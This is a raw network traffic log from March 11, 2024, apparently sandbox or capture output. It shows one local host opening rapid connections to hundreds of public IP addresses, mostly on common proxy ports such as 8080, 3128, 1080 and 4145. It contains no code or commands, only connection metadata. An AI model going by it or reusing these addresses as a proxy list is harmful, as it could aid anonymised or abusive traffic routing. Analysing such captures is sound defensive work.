Mar 11, 2024 15:21:03.414058924 CET	51523	8080	192.168.2.9	78.188.81.57
Mar 11, 2024 15:21:03.415011883 CET	34455	49727	162.241.66.135	192.168.2.9
Mar 11, 2024 15:21:03.415491104 CET	51524	8080	192.168.2.9	103.81.220.33
Mar 11, 2024 15:21:03.415560007 CET	50755	1080	192.168.2.9	65.1.244.232
Mar 11, 2024 15:21:03.415561914 CET	80	51097	5.135.83.214	192.168.2.9
Mar 11, 2024 15:21:03.416894913 CET	3128	51340	185.191.236.162	192.168.2.9
Mar 11, 2024 15:21:03.416913033 CET	1080	50765	113.161.248.125	192.168.2.9
Mar 11, 2024 15:21:03.416975975 CET	51340	3128	192.168.2.9	185.191.236.162
Mar 11, 2024 15:21:03.417131901 CET	80	50193	50.231.110.26	192.168.2.9
Mar 11, 2024 15:21:03.417819977 CET	80	50326	194.140.198.23	192.168.2.9
Mar 11, 2024 15:21:03.418241978 CET	51340	3128	192.168.2.9	185.191.236.162
Mar 11, 2024 15:21:03.418589115 CET	51525	3050	192.168.2.9	202.139.198.15
Mar 11, 2024 15:21:03.418826103 CET	49740	80	192.168.2.9	50.220.168.134
Mar 11, 2024 15:21:03.418840885 CET	50515	4145	192.168.2.9	107.181.161.81
Mar 11, 2024 15:21:03.418845892 CET	50250	80	192.168.2.9	50.174.214.222
Mar 11, 2024 15:21:03.418845892 CET	50132	4145	192.168.2.9	222.124.130.195
Mar 11, 2024 15:21:03.418991089 CET	50155	8080	192.168.2.9	46.105.35.193
Mar 11, 2024 15:21:03.419085979 CET	80	51235	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:03.419166088 CET	80	51235	128.140.26.12	192.168.2.9
Mar 11, 2024 15:21:03.419972897 CET	51235	80	192.168.2.9	128.140.26.12
Mar 11, 2024 15:21:03.420142889 CET	51526	80	192.168.2.9	106.105.218.244
Mar 11, 2024 15:21:03.421673059 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:03.421721935 CET	44809	50707	66.228.33.190	192.168.2.9
Mar 11, 2024 15:21:03.421924114 CET	50707	44809	192.168.2.9	66.228.33.190
Mar 11, 2024 15:21:03.422378063 CET	50707	44809	192.168.2.9	66.228.33.190
Mar 11, 2024 15:21:03.422542095 CET	8193	50582	175.183.82.221	192.168.2.9
Mar 11, 2024 15:21:03.422557116 CET	45517	51380	176.31.110.126	192.168.2.9
Mar 11, 2024 15:21:03.422648907 CET	51380	45517	192.168.2.9	176.31.110.126
Mar 11, 2024 15:21:03.422723055 CET	9123	51346	173.249.29.243	192.168.2.9
Mar 11, 2024 15:21:03.422785997 CET	51346	9123	192.168.2.9	173.249.29.243
Mar 11, 2024 15:21:03.423150063 CET	51380	45517	192.168.2.9	176.31.110.126
Mar 11, 2024 15:21:03.423222065 CET	51346	9123	192.168.2.9	173.249.29.243
Mar 11, 2024 15:21:03.423347950 CET	8123	49941	20.205.61.143	192.168.2.9
Mar 11, 2024 15:21:03.423628092 CET	51527	80	192.168.2.9	102.132.201.202
Mar 11, 2024 15:21:03.423923969 CET	51528	80	192.168.2.9	49.249.155.3
Mar 11, 2024 15:21:03.424124002 CET	51529	4145	192.168.2.9	72.37.217.3
Mar 11, 2024 15:21:03.425535917 CET	80	50136	50.168.72.117	192.168.2.9
Mar 11, 2024 15:21:03.426553965 CET	51530	80	192.168.2.9	50.174.145.8
Mar 11, 2024 15:21:03.427221060 CET	51531	18080	192.168.2.9	54.178.159.199
Mar 11, 2024 15:21:03.428266048 CET	12551	51120	149.20.253.81	192.168.2.9
Mar 11, 2024 15:21:03.428284883 CET	51532	999	192.168.2.9	170.239.207.241
Mar 11, 2024 15:21:03.429486990 CET	51533	80	192.168.2.9	74.103.66.15
Mar 11, 2024 15:21:03.430509090 CET	51534	3128	192.168.2.9	180.250.173.67
Mar 11, 2024 15:21:03.431372881 CET	51535	1975	192.168.2.9	41.33.203.234
Mar 11, 2024 15:21:03.431907892 CET	80	50942	50.172.75.126	192.168.2.9
Mar 11, 2024 15:21:03.432461977 CET	80	50043	45.124.184.13	192.168.2.9
Mar 11, 2024 15:21:03.432713985 CET	15280	50334	184.178.172.18	192.168.2.9
Mar 11, 2024 15:21:03.432729006 CET	15280	50334	184.178.172.18	192.168.2.9
Mar 11, 2024 15:21:03.433315039 CET	63360	51409	162.241.158.204	192.168.2.9
Mar 11, 2024 15:21:03.433706999 CET	51536	49401	192.168.2.9	162.241.46.40
Mar 11, 2024 15:21:03.433953047 CET	51537	15280	192.168.2.9	184.178.172.18
Mar 11, 2024 15:21:03.434184074 CET	51538	9990	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:03.434443951 CET	50967	3128	192.168.2.9	8.209.255.13
Mar 11, 2024 15:21:03.434456110 CET	50268	80	192.168.2.9	50.217.226.40
Mar 11, 2024 15:21:03.434479952 CET	49818	80	192.168.2.9	216.137.184.253
Mar 11, 2024 15:21:03.434498072 CET	50194	4145	192.168.2.9	37.34.72.132
Mar 11, 2024 15:21:03.434501886 CET	50264	80	192.168.2.9	35.180.188.216
Mar 11, 2024 15:21:03.434503078 CET	51065	64654	192.168.2.9	162.19.7.53
Mar 11, 2024 15:21:03.434520006 CET	50281	80	192.168.2.9	50.218.57.64
Mar 11, 2024 15:21:03.435395956 CET	15673	51382	43.133.74.172	192.168.2.9
Mar 11, 2024 15:21:03.435410976 CET	3128	50576	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:03.435482025 CET	51539	8080	192.168.2.9	61.4.234.239
Mar 11, 2024 15:21:03.435482025 CET	51382	15673	192.168.2.9	43.133.74.172
Mar 11, 2024 15:21:03.435803890 CET	51382	15673	192.168.2.9	43.133.74.172
Mar 11, 2024 15:21:03.435843945 CET	10089	51145	147.75.92.251	192.168.2.9
Mar 11, 2024 15:21:03.437159061 CET	51540	36073	192.168.2.9	92.205.61.38
Mar 11, 2024 15:21:03.438566923 CET	50576	3128	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:03.438652039 CET	3128	51327	47.91.65.23	192.168.2.9
Mar 11, 2024 15:21:03.438821077 CET	51327	3128	192.168.2.9	47.91.65.23
Mar 11, 2024 15:21:03.438894987 CET	51327	3128	192.168.2.9	47.91.65.23
Mar 11, 2024 15:21:03.438908100 CET	8080	50658	206.189.130.107	192.168.2.9
Mar 11, 2024 15:21:03.439671993 CET	51541	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.439708948 CET	443	51541	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.439768076 CET	51541	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.440284014 CET	51541	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.440306902 CET	443	51541	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.440330029 CET	51542	8080	192.168.2.9	190.144.238.66
Mar 11, 2024 15:21:03.440432072 CET	443	51541	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.440435886 CET	80	51110	50.168.72.119	192.168.2.9
Mar 11, 2024 15:21:03.441365957 CET	51543	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.441401005 CET	443	51543	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.441637039 CET	3128	50593	213.233.178.137	192.168.2.9
Mar 11, 2024 15:21:03.441637993 CET	51543	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.441838980 CET	51545	8079	192.168.2.9	94.154.152.9
Mar 11, 2024 15:21:03.441991091 CET	51543	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.442007065 CET	443	51543	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.442059040 CET	443	51543	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.443227053 CET	51546	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.443265915 CET	443	51546	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.443392038 CET	51546	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.443525076 CET	51546	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.443543911 CET	443	51546	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.443595886 CET	443	51546	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.444835901 CET	51547	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.444861889 CET	443	51547	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.444921017 CET	51547	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.445092916 CET	51547	443	192.168.2.9	46.22.210.184
Mar 11, 2024 15:21:03.445108891 CET	443	51547	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.445164919 CET	443	51547	46.22.210.184	192.168.2.9
Mar 11, 2024 15:21:03.445393085 CET	50563	50191	162.241.158.204	192.168.2.9
Mar 11, 2024 15:21:03.446238041 CET	1080	50815	202.21.112.172	192.168.2.9
Mar 11, 2024 15:21:03.446250916 CET	80	50165	35.209.198.222	192.168.2.9
Mar 11, 2024 15:21:03.446327925 CET	50165	80	192.168.2.9	35.209.198.222
Mar 11, 2024 15:21:03.446599960 CET	50165	80	192.168.2.9	35.209.198.222
Mar 11, 2024 15:21:03.446789026 CET	51548	25125	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:03.447012901 CET	51549	15303	192.168.2.9	184.178.172.5
Mar 11, 2024 15:21:03.447577000 CET	7891	50639	43.129.228.46	192.168.2.9
Mar 11, 2024 15:21:03.447994947 CET	51550	53225	192.168.2.9	154.12.255.155
Mar 11, 2024 15:21:03.448031902 CET	80	51419	104.25.234.81	192.168.2.9
Mar 11, 2024 15:21:03.448139906 CET	51419	80	192.168.2.9	104.25.234.81
Mar 11, 2024 15:21:03.448210955 CET	8080	51351	46.209.54.110	192.168.2.9
Mar 11, 2024 15:21:03.448270082 CET	51351	8080	192.168.2.9	46.209.54.110
Mar 11, 2024 15:21:03.448465109 CET	51419	80	192.168.2.9	104.25.234.81
Mar 11, 2024 15:21:03.448738098 CET	51351	8080	192.168.2.9	46.209.54.110
Mar 11, 2024 15:21:03.449100018 CET	51551	24940	192.168.2.9	5.9.144.19
Mar 11, 2024 15:21:03.449868917 CET	4145	50390	98.181.137.80	192.168.2.9
Mar 11, 2024 15:21:03.449944019 CET	4145	50390	98.181.137.80	192.168.2.9
Mar 11, 2024 15:21:03.450115919 CET	50501	80	192.168.2.9	50.200.12.87
Mar 11, 2024 15:21:03.450115919 CET	51053	5678	192.168.2.9	103.88.126.170
Mar 11, 2024 15:21:03.450138092 CET	50274	80	192.168.2.9	50.217.226.46
Mar 11, 2024 15:21:03.450138092 CET	50367	80	192.168.2.9	50.168.163.177
Mar 11, 2024 15:21:03.450139046 CET	51055	39789	192.168.2.9	209.142.64.219
Mar 11, 2024 15:21:03.450138092 CET	51060	1976	192.168.2.9	41.65.236.35
Mar 11, 2024 15:21:03.450169086 CET	51073	8080	192.168.2.9	103.186.90.18
Mar 11, 2024 15:21:03.450174093 CET	51067	8080	192.168.2.9	109.201.14.82
Mar 11, 2024 15:21:03.450174093 CET	51079	1372	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:03.450176954 CET	51058	34411	192.168.2.9	212.110.188.195
Mar 11, 2024 15:21:03.450177908 CET	51070	8000	192.168.2.9	20.118.1.112
Mar 11, 2024 15:21:03.450176001 CET	51063	1080	192.168.2.9	88.99.10.252
Mar 11, 2024 15:21:03.450177908 CET	51068	999	192.168.2.9	201.77.110.1
Mar 11, 2024 15:21:03.450176954 CET	51066	80	192.168.2.9	51.75.122.80
Mar 11, 2024 15:21:03.450176954 CET	51075	6106	192.168.2.9	104.251.212.206
Mar 11, 2024 15:21:03.450176954 CET	51083	8080	192.168.2.9	185.189.199.77
Mar 11, 2024 15:21:03.450176001 CET	51076	51372	192.168.2.9	109.224.22.34
Mar 11, 2024 15:21:03.450186014 CET	51078	3128	192.168.2.9	178.207.8.20
Mar 11, 2024 15:21:03.450187922 CET	51080	1080	192.168.2.9	103.97.179.115
Mar 11, 2024 15:21:03.450293064 CET	51093	39593	192.168.2.9	209.240.50.56
Mar 11, 2024 15:21:03.450293064 CET	51088	999	192.168.2.9	167.249.29.220
Mar 11, 2024 15:21:03.450299978 CET	51084	3128	192.168.2.9	95.56.254.139
Mar 11, 2024 15:21:03.450351954 CET	51085	80	192.168.2.9	141.136.42.164
Mar 11, 2024 15:21:03.451530933 CET	51552	999	192.168.2.9	181.198.62.154
Mar 11, 2024 15:21:03.451622963 CET	3950	49956	148.72.212.198	192.168.2.9
Mar 11, 2024 15:21:03.451680899 CET	3950	49956	148.72.212.198	192.168.2.9
Mar 11, 2024 15:21:03.451822996 CET	49956	3950	192.168.2.9	148.72.212.198
Mar 11, 2024 15:21:03.451822996 CET	49956	3950	192.168.2.9	148.72.212.198
Mar 11, 2024 15:21:03.452126026 CET	45629	50154	162.241.6.97	192.168.2.9
Mar 11, 2024 15:21:03.454076052 CET	80	50965	50.174.145.11	192.168.2.9
Mar 11, 2024 15:21:03.457330942 CET	1080	51204	3.108.115.48	192.168.2.9
Mar 11, 2024 15:21:03.457860947 CET	8081	51071	79.110.201.235	192.168.2.9
Mar 11, 2024 15:21:03.457911015 CET	80	50978	52.196.1.182	192.168.2.9
Mar 11, 2024 15:21:03.459202051 CET	50978	80	192.168.2.9	52.196.1.182
Mar 11, 2024 15:21:03.460443020 CET	1080	51204	3.108.115.48	192.168.2.9
Mar 11, 2024 15:21:03.460782051 CET	51204	1080	192.168.2.9	3.108.115.48
Mar 11, 2024 15:21:03.460985899 CET	80	50240	23.254.231.55	192.168.2.9
Mar 11, 2024 15:21:03.463336945 CET	5212	50598	45.11.95.165	192.168.2.9
Mar 11, 2024 15:21:03.463421106 CET	50598	5212	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:03.463728905 CET	50598	5212	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:03.464037895 CET	8080	50616	103.160.205.82	192.168.2.9
Mar 11, 2024 15:21:03.464242935 CET	50616	8080	192.168.2.9	103.160.205.82
Mar 11, 2024 15:21:03.464374065 CET	50616	8080	192.168.2.9	103.160.205.82
Mar 11, 2024 15:21:03.464380980 CET	51030	8080	192.168.2.9	79.110.119.177
Mar 11, 2024 15:21:03.464405060 CET	51174	80	192.168.2.9	50.223.239.190
Mar 11, 2024 15:21:03.464420080 CET	51064	8080	192.168.2.9	51.145.176.25
Mar 11, 2024 15:21:03.464446068 CET	49785	999	192.168.2.9	181.209.78.75
Mar 11, 2024 15:21:03.464446068 CET	51091	9999	192.168.2.9	117.160.250.163
Mar 11, 2024 15:21:03.464448929 CET	51086	11802	192.168.2.9	51.75.126.150
Mar 11, 2024 15:21:03.464517117 CET	49725	80	192.168.2.9	50.218.57.71
Mar 11, 2024 15:21:03.464519024 CET	51059	1080	192.168.2.9	103.47.93.210
Mar 11, 2024 15:21:03.465678930 CET	51096	8080	192.168.2.9	139.135.139.246
Mar 11, 2024 15:21:03.465950012 CET	80	50643	27.96.235.171	192.168.2.9
Mar 11, 2024 15:21:03.466015100 CET	50643	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:03.466439009 CET	51553	4145	192.168.2.9	98.181.137.80
Mar 11, 2024 15:21:03.466542959 CET	50643	80	192.168.2.9	27.96.235.171
Mar 11, 2024 15:21:03.467710018 CET	51054	5678	192.168.2.9	193.106.57.96
Mar 11, 2024 15:21:03.467719078 CET	50453	1599	192.168.2.9	72.10.160.172
Mar 11, 2024 15:21:03.467771053 CET	51092	62952	192.168.2.9	104.248.158.78
Mar 11, 2024 15:21:03.467786074 CET	51077	9090	192.168.2.9	5.135.136.60
Mar 11, 2024 15:21:03.467787027 CET	50298	8080	192.168.2.9	201.184.63.218
Mar 11, 2024 15:21:03.467804909 CET	4145	51313	184.170.249.65	192.168.2.9
Mar 11, 2024 15:21:03.468120098 CET	4145	51313	184.170.249.65	192.168.2.9
Mar 11, 2024 15:21:03.469883919 CET	80	51016	50.223.246.226	192.168.2.9
Mar 11, 2024 15:21:03.471013069 CET	8080	50802	4.236.183.37	192.168.2.9
Mar 11, 2024 15:21:03.471185923 CET	50802	8080	192.168.2.9	4.236.183.37
Mar 11, 2024 15:21:03.471618891 CET	50802	8080	192.168.2.9	4.236.183.37
Mar 11, 2024 15:21:03.472357988 CET	4519	50159	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:03.473090887 CET	24465	50178	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:03.473287106 CET	80	51149	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:03.473527908 CET	80	51149	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:03.473577976 CET	23085	50168	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:03.474092960 CET	80	51243	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:03.474148035 CET	80	51243	119.196.168.183	192.168.2.9
Mar 11, 2024 15:21:03.474344969 CET	80	51379	203.171.19.99	192.168.2.9
Mar 11, 2024 15:21:03.474524975 CET	80	51440	104.16.81.76	192.168.2.9
Mar 11, 2024 15:21:03.474628925 CET	51379	80	192.168.2.9	203.171.19.99
Mar 11, 2024 15:21:03.474647999 CET	26545	50655	51.89.173.40	192.168.2.9
Mar 11, 2024 15:21:03.474677086 CET	51440	80	192.168.2.9	104.16.81.76
Mar 11, 2024 15:21:03.474812984 CET	50655	26545	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:03.474961042 CET	80	51394	121.128.194.154	192.168.2.9
Mar 11, 2024 15:21:03.475310087 CET	51394	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:03.475346088 CET	80	51298	185.162.228.170	192.168.2.9
Mar 11, 2024 15:21:03.476552963 CET	80	51324	62.99.138.162	192.168.2.9
Mar 11, 2024 15:21:03.476593971 CET	8081	51386	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:03.476664066 CET	51386	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:03.476773024 CET	80	51304	104.16.105.142	192.168.2.9
Mar 11, 2024 15:21:03.477303982 CET	80	51001	50.174.7.159	192.168.2.9
Mar 11, 2024 15:21:03.477545023 CET	80	51303	104.19.85.214	192.168.2.9
Mar 11, 2024 15:21:03.477897882 CET	8080	49971	78.47.103.89	192.168.2.9
Mar 11, 2024 15:21:03.479593039 CET	8081	51105	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:03.479605913 CET	10004	51396	119.28.74.177	192.168.2.9
Mar 11, 2024 15:21:03.479787111 CET	8081	51105	185.49.31.207	192.168.2.9
Mar 11, 2024 15:21:03.481399059 CET	50259	9050	192.168.2.9	141.95.86.243
Mar 11, 2024 15:21:03.481399059 CET	50078	46475	192.168.2.9	88.202.230.103
Mar 11, 2024 15:21:03.481405020 CET	51098	28618	192.168.2.9	109.238.12.156
Mar 11, 2024 15:21:03.481405020 CET	51100	8080	192.168.2.9	38.156.72.133
Mar 11, 2024 15:21:03.481416941 CET	51103	1976	192.168.2.9	41.65.227.98
Mar 11, 2024 15:21:03.481416941 CET	51108	1080	192.168.2.9	138.36.150.16
Mar 11, 2024 15:21:03.481417894 CET	49942	80	192.168.2.9	93.117.225.195
Mar 11, 2024 15:21:03.481416941 CET	51198	80	192.168.2.9	50.217.226.42
Mar 11, 2024 15:21:03.481447935 CET	51119	8080	192.168.2.9	45.227.193.166
Mar 11, 2024 15:21:03.481447935 CET	51122	11201	192.168.2.9	38.41.0.60
Mar 11, 2024 15:21:03.481451035 CET	51117	37581	192.168.2.9	162.214.225.223
Mar 11, 2024 15:21:03.481450081 CET	51114	60775	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:03.481451035 CET	51118	5678	192.168.2.9	95.182.78.3
Mar 11, 2024 15:21:03.481451988 CET	51116	8446	192.168.2.9	146.59.70.29
Mar 11, 2024 15:21:03.481451988 CET	50276	18940	192.168.2.9	144.91.107.252
Mar 11, 2024 15:21:03.481451988 CET	51115	8080	192.168.2.9	80.241.251.54
Mar 11, 2024 15:21:03.481450081 CET	51225	11537	192.168.2.9	38.127.172.28
Mar 11, 2024 15:21:03.481461048 CET	51125	34405	192.168.2.9	212.110.188.198
Mar 11, 2024 15:21:03.481461048 CET	51101	80	192.168.2.9	34.154.161.152
Mar 11, 2024 15:21:03.482172966 CET	50462	6879	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:03.482172966 CET	51126	5020	192.168.2.9	202.164.209.69
Mar 11, 2024 15:21:03.482172966 CET	50465	10977	192.168.2.9	67.43.227.226
Mar 11, 2024 15:21:03.483449936 CET	51379	80	192.168.2.9	203.171.19.99
Mar 11, 2024 15:21:03.483627081 CET	80	50040	50.218.57.67	192.168.2.9
Mar 11, 2024 15:21:03.484143019 CET	51555	999	192.168.2.9	45.230.51.130
Mar 11, 2024 15:21:03.484194040 CET	51554	4145	192.168.2.9	184.170.249.65
Mar 11, 2024 15:21:03.484630108 CET	51556	80	192.168.2.9	31.148.207.153
Mar 11, 2024 15:21:03.484657049 CET	51440	80	192.168.2.9	104.16.81.76
Mar 11, 2024 15:21:03.484937906 CET	51557	28633	192.168.2.9	75.119.145.154
Mar 11, 2024 15:21:03.485230923 CET	51558	1080	192.168.2.9	195.66.156.196
Mar 11, 2024 15:21:03.485718966 CET	51562	13286	192.168.2.9	107.180.103.214
Mar 11, 2024 15:21:03.485815048 CET	51560	53477	192.168.2.9	162.241.46.6
Mar 11, 2024 15:21:03.485939026 CET	51563	60069	192.168.2.9	148.72.23.56
Mar 11, 2024 15:21:03.486149073 CET	50655	26545	192.168.2.9	51.89.173.40
Mar 11, 2024 15:21:03.486227036 CET	51564	8080	192.168.2.9	103.174.109.26
Mar 11, 2024 15:21:03.486421108 CET	51394	80	192.168.2.9	121.128.194.154
Mar 11, 2024 15:21:03.486489058 CET	51565	45639	192.168.2.9	103.212.93.193
Mar 11, 2024 15:21:03.486810923 CET	51566	3128	192.168.2.9	15.236.106.236
Mar 11, 2024 15:21:03.486980915 CET	51567	999	192.168.2.9	181.78.19.250
Mar 11, 2024 15:21:03.487122059 CET	51561	80	192.168.2.9	119.196.168.183
Mar 11, 2024 15:21:03.487252951 CET	51568	8080	192.168.2.9	103.180.73.107
Mar 11, 2024 15:21:03.487418890 CET	51559	80	192.168.2.9	139.59.90.141
Mar 11, 2024 15:21:03.487693071 CET	51569	3128	192.168.2.9	139.99.148.90
Mar 11, 2024 15:21:03.487874985 CET	51571	80	192.168.2.9	172.67.181.144
Mar 11, 2024 15:21:03.488195896 CET	51572	31337	192.168.2.9	177.128.44.129
Mar 11, 2024 15:21:03.491031885 CET	51386	8081	192.168.2.9	185.49.31.207
Mar 11, 2024 15:21:03.491031885 CET	51573	41274	192.168.2.9	162.241.6.97
Mar 11, 2024 15:21:03.491034031 CET	51574	80	192.168.2.9	45.12.31.3
Mar 11, 2024 15:21:03.491034031 CET	44844	50862	49.75.17.108	192.168.2.9
Mar 11, 2024 15:21:03.491034031 CET	51575	22645	192.168.2.9	67.43.236.18
Mar 11, 2024 15:21:03.491040945 CET	51570	30673	192.168.2.9	146.59.18.246
Mar 11, 2024 15:21:03.491178989 CET	51576	8090	192.168.2.9	38.183.152.34
Mar 11, 2024 15:21:03.491463900 CET	51577	80	192.168.2.9	65.21.131.27
Mar 11, 2024 15:21:03.491637945 CET	80	51454	104.20.179.187	192.168.2.9
Mar 11, 2024 15:21:03.491714954 CET	51454	80	192.168.2.9	104.20.179.187
Mar 11, 2024 15:21:03.492263079 CET	51454	80	192.168.2.9	104.20.179.187
Mar 11, 2024 15:21:03.492436886 CET	80	51455	104.16.226.6	192.168.2.9
Mar 11, 2024 15:21:03.492489100 CET	51455	80	192.168.2.9	104.16.226.6
Mar 11, 2024 15:21:03.492913961 CET	51455	80	192.168.2.9	104.16.226.6
Mar 11, 2024 15:21:03.492990971 CET	51578	5039	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:03.492990971 CET	51579	8080	192.168.2.9	114.132.202.125
Mar 11, 2024 15:21:03.493618965 CET	8080	51153	103.190.54.141	192.168.2.9
Mar 11, 2024 15:21:03.493791103 CET	51580	18181	192.168.2.9	47.245.56.108
Mar 11, 2024 15:21:03.493818045 CET	51581	4153	192.168.2.9	49.229.32.165
Mar 11, 2024 15:21:03.494673967 CET	51582	33572	192.168.2.9	162.214.121.173
Mar 11, 2024 15:21:03.494785070 CET	51583	80	192.168.2.9	168.126.74.132
Mar 11, 2024 15:21:03.495486975 CET	51584	41890	192.168.2.9	93.190.142.57
Mar 11, 2024 15:21:03.495520115 CET	51585	59786	192.168.2.9	160.153.245.187
Mar 11, 2024 15:21:03.495742083 CET	9002	50551	58.20.248.139	192.168.2.9
Mar 11, 2024 15:21:03.495817900 CET	50551	9002	192.168.2.9	58.20.248.139
Mar 11, 2024 15:21:03.496376038 CET	50551	9002	192.168.2.9	58.20.248.139
Mar 11, 2024 15:21:03.496731997 CET	51586	53035	192.168.2.9	92.204.136.149
Mar 11, 2024 15:21:03.496757030 CET	51587	45787	192.168.2.9	43.251.119.79
Mar 11, 2024 15:21:03.496953964 CET	51123	1080	192.168.2.9	194.146.110.228
Mar 11, 2024 15:21:03.496954918 CET	50468	15109	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:03.496969938 CET	50402	999	192.168.2.9	191.97.19.66
Mar 11, 2024 15:21:03.496969938 CET	51109	1080	192.168.2.9	103.234.27.153
Mar 11, 2024 15:21:03.496970892 CET	51124	4145	192.168.2.9	184.178.172.11
Mar 11, 2024 15:21:03.496975899 CET	50620	4145	192.168.2.9	68.71.247.130
Mar 11, 2024 15:21:03.496978045 CET	51138	1976	192.168.2.9	154.236.179.226
Mar 11, 2024 15:21:03.496982098 CET	50490	9300	192.168.2.9	198.211.99.26
Mar 11, 2024 15:21:03.496985912 CET	51128	53281	192.168.2.9	179.60.240.69
Mar 11, 2024 15:21:03.496994972 CET	51139	85	192.168.2.9	103.162.141.154
Mar 11, 2024 15:21:03.496994972 CET	51121	999	192.168.2.9	38.51.243.189
Mar 11, 2024 15:21:03.496999979 CET	51136	5678	192.168.2.9	182.253.159.115
Mar 11, 2024 15:21:03.496999979 CET	51129	4153	192.168.2.9	202.43.182.3
Mar 11, 2024 15:21:03.497004032 CET	51112	39095	192.168.2.9	192.163.200.82
Mar 11, 2024 15:21:03.497047901 CET	49729	80	192.168.2.9	50.217.226.44
Mar 11, 2024 15:21:03.497049093 CET	51137	8080	192.168.2.9	202.165.39.102
Mar 11, 2024 15:21:03.497776985 CET	51588	31439	192.168.2.9	72.10.164.178
Mar 11, 2024 15:21:03.497852087 CET	51589	3128	192.168.2.9	121.171.57.2
Mar 11, 2024 15:21:03.498601913 CET	51591	999	192.168.2.9	192.203.0.122
Mar 11, 2024 15:21:03.498601913 CET	51590	80	192.168.2.9	96.113.159.162
Mar 11, 2024 15:21:03.499066114 CET	51592	999	192.168.2.9	190.113.40.202
Mar 11, 2024 15:21:03.499572992 CET	51593	999	192.168.2.9	190.186.18.161
Mar 11, 2024 15:21:03.500020981 CET	51594	1971	192.168.2.9	94.231.199.226
Mar 11, 2024 15:21:03.500498056 CET	51595	52208	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:03.500912905 CET	51596	999	192.168.2.9	38.56.70.97
Mar 11, 2024 15:21:03.501986980 CET	3128	50000	37.120.222.132	192.168.2.9
Mar 11, 2024 15:21:03.502074957 CET	23711	50713	45.81.232.17	192.168.2.9
Mar 11, 2024 15:21:03.502202988 CET	50713	23711	192.168.2.9	45.81.232.17
Mar 11, 2024 15:21:03.502243042 CET	4145	50781	72.217.158.202	192.168.2.9
Mar 11, 2024 15:21:03.502305031 CET	50781	4145	192.168.2.9	72.217.158.202
Mar 11, 2024 15:21:03.503670931 CET	8080	51194	119.18.149.34	192.168.2.9
Mar 11, 2024 15:21:03.503684998 CET	8080	51194	119.18.149.34	192.168.2.9
Mar 11, 2024 15:21:03.503813028 CET	51194	8080	192.168.2.9	119.18.149.34
Mar 11, 2024 15:21:03.504894018 CET	8080	51194	119.18.149.34	192.168.2.9
Mar 11, 2024 15:21:03.505728960 CET	8899	51246	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:03.506369114 CET	51246	8899	192.168.2.9	8.217.95.44
Mar 11, 2024 15:21:03.508776903 CET	8080	49866	125.212.231.220	192.168.2.9
Mar 11, 2024 15:21:03.509299994 CET	8899	51246	8.217.95.44	192.168.2.9
Mar 11, 2024 15:21:03.510128021 CET	9834	49842	91.241.131.179	192.168.2.9
Mar 11, 2024 15:21:03.510169983 CET	4145	51467	68.1.210.163	192.168.2.9
Mar 11, 2024 15:21:03.510241032 CET	8197	51249	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.510256052 CET	51467	4145	192.168.2.9	68.1.210.163
Mar 11, 2024 15:21:03.510335922 CET	9834	49842	91.241.131.179	192.168.2.9
Mar 11, 2024 15:21:03.510400057 CET	51249	8197	192.168.2.9	58.234.116.197
Mar 11, 2024 15:21:03.510535002 CET	8197	51249	58.234.116.197	192.168.2.9
Mar 11, 2024 15:21:03.512123108 CET	8180	51401	47.243.114.192	192.168.2.9
Mar 11, 2024 15:21:03.512195110 CET	51401	8180	192.168.2.9	47.243.114.192
Mar 11, 2024 15:21:03.512609005 CET	51132	12903	192.168.2.9	69.167.169.46
Mar 11, 2024 15:21:03.512615919 CET	51141	3129	192.168.2.9	85.235.184.186
Mar 11, 2024 15:21:03.512617111 CET	50149	80	192.168.2.9	190.58.248.86
Mar 11, 2024 15:21:03.512619972 CET	49828	44607	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:03.512619972 CET	50517	10587	192.168.2.9	67.43.236.19
Mar 11, 2024 15:21:03.512620926 CET	51130	999	192.168.2.9	200.24.141.161
